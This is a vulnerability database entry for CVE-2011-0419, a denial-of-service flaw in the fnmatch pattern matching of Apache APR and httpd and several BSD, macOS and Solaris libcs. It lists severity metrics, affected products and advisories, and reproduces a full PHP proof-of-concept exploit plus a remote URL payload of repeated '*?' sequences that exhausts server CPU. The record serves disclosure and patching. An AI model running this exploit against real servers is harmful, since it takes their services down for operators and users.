CVE-2011-0419 : Detail

CVE-2011-0419

96.67%V3
Network
2011-05-16
15h00 +00:00
2021-06-06
08h10 +00:00
CVE.org
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CVE Descriptions

Stack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, and in fnmatch.c in libc in NetBSD 5.1, OpenBSD 4.8, FreeBSD, Apple Mac OS X 10.6, Oracle Solaris 10, and Android, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-770 Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 35738

Publication date : 2011-05-11
22h00 +00:00
Author : Maksymilian Arciemowicz
EDB Verified : Yes

source: https://www.securityfocus.com/bid/47820/info Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition. Apache APR versions prior to 1.4.4 are vulnerable. <?php /* Apache 2.2.17 mod_autoindex local/remote Denial of Service author: Maksymilian Arciemowicz CVE: CVE-2011-0419 CWE: CWE-399 REMOTE Find some directory with supported mod_autoindex on the server. The directory should contain long filenames. http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k] LOCAL Tested on: 127# httpd -v && uname -a Server version: Apache/2.2.17 (Unix) Server built: Dec 28 2010 13:21:44 NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 [email protected]:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386 Result: 127# ls -la total 8 drwxrwxrwx 2 root wheel 512 Feb 8 21:41 . drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 .. -rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess -rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx............................................................................................................................. -rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php 127# ps -aux -p 617 USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start Time = 121:43 and counting where http://[$localhost]:[$localport]/[$localuri] */ $localhost="localhost"; $localport=80; $localuri="/koniec/"; if(!is_writable(".")) die("!writable"); // Phase 1 // Create some filename touch("cx".str_repeat(".",125)); // Phase 2 // Create .htaccess with unlink("./.htaccess"); $htaccess=fopen("./.htaccess", "a"); fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n"); fclose($htaccess); // Phase 3 // Local connect (bypass firewall restriction) while(1){ $fp = fsockopen($localhost, $localport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\n"; else { $out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n"; $out .= "Host: ".$localhost."\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); } } ?>

Products Mentioned

Configuraton 0

Apache>>Portable_runtime >> Version To (excluding) 1.4.3

Configuraton 0

Apache>>Http_server >> Version From (including) 2.0.0 To (including) 2.0.65

Apache>>Http_server >> Version From (including) 2.2.0 To (including) 2.2.18

Configuraton 0

Apple>>Mac_os_x >> Version 10.6.0

Freebsd>>Freebsd >> Version *

Google>>Android >> Version *

Netbsd>>Netbsd >> Version 5.1

Openbsd>>Openbsd >> Version 4.8

Oracle>>Solaris >> Version 10

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Suse>>Linux_enterprise_server >> Version 10

References

http://secunia.com/advisories/44574
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=131731002122529&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48308
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/achievement_securityalert/98
Tags : third-party-advisory, x_refsource_SREASONRES
http://marc.info/?l=bugtraq&m=131551295528105&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=132033751509019&w=2
Tags : vendor-advisory, x_refsource_HP
http://securitytracker.com/id?1025527
Tags : vdb-entry, x_refsource_SECTRACK
http://securityreason.com/securityalert/8246
Tags : third-party-advisory, x_refsource_SREASON
http://www.debian.org/security/2011/dsa-2237
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2011-0897.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/44564
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=131731002122529&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/44490
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0896.html
Tags : vendor-advisory, x_refsource_REDHAT
http://support.apple.com/kb/HT5002
Tags : x_refsource_CONFIRM
http://www.mandriva.com/security/advisories?name=MDVSA-2011:084
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.redhat.com/support/errata/RHSA-2011-0507.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=132033751509019&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=131551295528105&w=2
Tags : vendor-advisory, x_refsource_HP